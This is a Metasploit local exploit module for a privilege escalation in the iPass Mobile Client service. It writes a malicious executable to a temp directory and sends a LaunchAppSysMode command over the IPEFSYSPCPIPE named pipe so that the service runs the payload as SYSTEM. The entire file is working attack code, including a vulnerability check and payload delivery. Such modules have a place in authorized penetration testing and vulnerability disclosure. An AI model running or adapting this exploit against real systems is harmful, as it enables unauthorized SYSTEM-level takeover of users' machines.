iPass Mobile Client Service Privilege Escalation

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class Metasploit3 < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Post::File
  include Msf::Exploit::FileDropper
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Services

  def initialize(info={})
    super(update_info(info, {
      'Name'            => 'iPass Mobile Client Service Privilege Escalation',
      'Description'     => %q{
        The named pipe, \IPEFSYSPCPIPE, can be accessed by normal users to interact
        with the iPass service. The service provides a LaunchAppSysMode command which
        allows to execute arbitrary commands as SYSTEM.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'h0ng10' # Vulnerability discovery, metasploit module
        ],
      'Arch'            => ARCH_X86,
      'Platform'        => 'win',
      'SessionTypes'    => ['meterpreter'],
      'DefaultOptions'  =>
        {
          'EXITFUNC'    => 'thread',
        },
      'Targets'         =>
        [
          [ 'Windows', { } ]
        ],
      'Payload'         =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'References'      =>
        [
          ['URL', 'https://www.mogwaisecurity.de/advisories/MSA-2015-03.txt']
        ],
      'DisclosureDate' => 'Mar 12 2015',
      'DefaultTarget'  => 0
    }))

    register_options([
      OptString.new('WritableDir', [false, 'A directory where we can write files (%TEMP% by default)'])
    ], self.class)

  end

  def check
    os = sysinfo['OS']

    unless os =~ /windows/i
      return Exploit::CheckCode::Safe
    end

    svc = service_info('iPlatformService')
    if svc && svc[:display] =~ /iPlatformService/
      vprint_good("Found service '#{svc[:display]}'")
      if is_running?
        vprint_good('Service is running')
      else
        vprint_error('Service is not running!')
      end

      vprint_good('Opening named pipe...')
      handle = open_named_pipe('\\\\.\\pipe\\IPEFSYSPCPIPE')

      if handle.nil?
        vprint_error('\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found')
        return Exploit::CheckCode::Safe
      else
        vprint_good('\\\\.\\pipe\\IPEFSYSPCPIPE found!')
        session.railgun.kernel32.CloseHandle(handle)
      end

      return Exploit::CheckCode::Vulnerable
    else
      return Exploit::CheckCode::Safe
    end
  end


  def open_named_pipe(pipe)
    invalid_handle_value = 0xFFFFFFFF

    r = session.railgun.kernel32.CreateFileA(pipe, 'GENERIC_READ | GENERIC_WRITE', 0x3, nil, 'OPEN_EXISTING', 'FILE_FLAG_WRITE_THROUGH | FILE_ATTRIBUTE_NORMAL', 0)
    handle = r['return']

    return nil if handle == invalid_handle_value

    handle
  end

  def write_named_pipe(handle, command)
    buffer = Rex::Text.to_unicode(command)
    w = client.railgun.kernel32.WriteFile(handle, buffer, buffer.length, 4, nil)

    if w['return'] == false
      print_error('The was an error writing to pipe, check permissions')
      return false
    end

    true
  end


  def is_running?
    begin
      status = service_status('iPlatformService')
    rescue RuntimeError => e
      print_error('Unable to retrieve service status')
      return false
    end

    return status && status[:state] == 4
  end

  def exploit
    if is_system?
      fail_with(Failure::NoTarget, 'Session is already elevated')
    end

    handle = open_named_pipe("\\\\.\\pipe\\IPEFSYSPCPIPE")

    if handle.nil?
      fail_with(Failure::NoTarget, "\\\\.\\pipe\\IPEFSYSPCPIPE named pipe not found")
    else
      print_status("Opended \\\\.\\pipe\\IPEFSYSPCPIPE! Proceeding...")
    end

    if datastore['WritableDir'] and not datastore['WritableDir'].empty?
      temp_dir = datastore['WritableDir']
    else
      temp_dir = client.sys.config.getenv('TEMP')
    end

    print_status("Using #{temp_dir} to drop malicious exe")

    begin
      cd(temp_dir)
    rescue Rex::Post::Meterpreter::RequestError
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Config, "Failed to use the #{temp_dir} directory")
    end

    print_status('Writing malicious exe to remote filesystem')
    write_path = pwd
    exe_name = "#{rand_text_alpha(10 + rand(10))}.exe"

    begin
      write_file(exe_name, generate_payload_exe)
      register_file_for_cleanup("#{write_path}\\#{exe_name}")
    rescue Rex::Post::Meterpreter::RequestError
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, "Failed to drop payload into #{temp_dir}")
    end

    print_status('Sending LauchAppSysMode command')

    begin
      write_res = write_named_pipe(handle, "iPass.EventsAction.LaunchAppSysMode #{write_path}\\#{exe_name};;;")
    rescue Rex::Post::Meterpreter::RequestError
      session.railgun.kernel32.CloseHandle(handle)
      fail_with(Failure::Unknown, 'Failed to write to pipe')
    end

    unless write_res
      fail_with(Failure::Unknown, 'Failed to write to pipe')
    end
  end

end